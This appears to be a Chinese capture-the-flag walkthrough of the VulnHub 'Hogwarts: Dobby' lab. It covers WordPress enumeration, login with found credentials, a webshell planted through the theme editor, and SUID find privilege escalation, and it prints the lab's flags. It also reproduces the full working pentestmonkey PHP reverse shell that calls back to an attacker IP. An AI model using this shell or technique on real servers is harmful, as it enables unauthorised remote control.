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VulnHub项目:Hogwarts dobby
靶机地址:Hogwarts: Dobby ~ VulnHub
哈利波特也是初中时候最喜欢的电影~Dobby多比是马尔福加的奴隶精灵,出现在第二部密室中,后来被哈利波特的袜子所拯救,成为了一只快乐自由的小精灵,最后它在死亡圣器中,也是解救了哈利波特一行人,不过可惜最后瞬移的时候被贝拉特里克斯·莱斯特兰奇的匕首插中,身亡!
渗透过程:
开始对该靶机渗透,确定ip,扫描端口,仅有一个80端口
只有一个80端口,访问后发现是apache服务,标头不一样
进行源码查看,在最下面发现了访问路径
/alohomora
开门咒
访问后,他提示,draco马尔福的密码是他的房子,先记下这个提示
对该靶机目录进行爆破
发现了log和php探针,访问log,有个pass和路径
访问路径发现了一些东西,这个还是brainfuck的加密 ,同时在页脚的地方看到了wordpress框架
解一下,乱码了,先不管他
既然是wordpress,那就wpscan一下,枚举一下看看有啥东西
和之前一样,发现了draco用户
wp的默认路径:wp-login.php还有wp-content
访问后,进入到登录解密,使用draco,本以为是之前的pass,输入后,错了,这里的提示还是西班牙文
再回想之前他说密码是马尔福的房子,马尔福是斯莱特林学院的,是不是就是它的英文就是密码
draco:slytherin
尝试之后,成功进入,好家伙,什么鬼,全是西班牙文,看不懂啊看不懂!
先把语言改了吧,只有英文,凑活看吧,总比西班牙文看着舒服点
改好之后呢,就看看哪里有getshell的地方,他这边有theme,还可以编辑,不由得想到编辑器漏洞,利用它自己的编辑器写入一句话,然后访问该被修改的文件,用蚁剑进行连接,具体的思路是这样的!
下面先浅浅的试个水,写个php探针进去
然后访问这个theme的文件,发现成功!
那就不要客气的写上一句话,连接下
然后一不小心的找到了个flag
"Harry potter this year should not go to the school of wizardry"
flag1{28327a4964cb391d74111a185a5047ad}
那怎么给本地反弹个shell呢,其实可以在蚁剑里直接做后续的操作,但还是习惯本地环境下的操作,那就讲反弹shell的文本改写,将kali的ip和端口写入下面的文件中,将其保存,利用蚁剑进行上传,在web端访问,在访问之前本地开启监听,就这样就OK了!思路是这样的!
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.136'; // You have changed this
$port = 7899; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
bingo,反弹回来了,下面就提个权助助兴吧
发现了find提权,那就简单且愉快了,find之前用过很多次
天地无极乾坤借法!破!提权成功~root了
查看proof.txt,嘿,还没有cat,那就more一下,获得了最终的flag,
root{63a9f0ea7bb98050796b649e85481845!!}
总结:
该靶机主要的漏洞还是wordpress的编辑器漏洞,通过这个漏洞拿到低权限,通过suid提权至root,还是很有趣的~玩的就是个情怀~~~~
请继续关注,后续会带来哈利波特系列的死亡圣器系列,一共八个圣器,共3个靶机,敬请期待~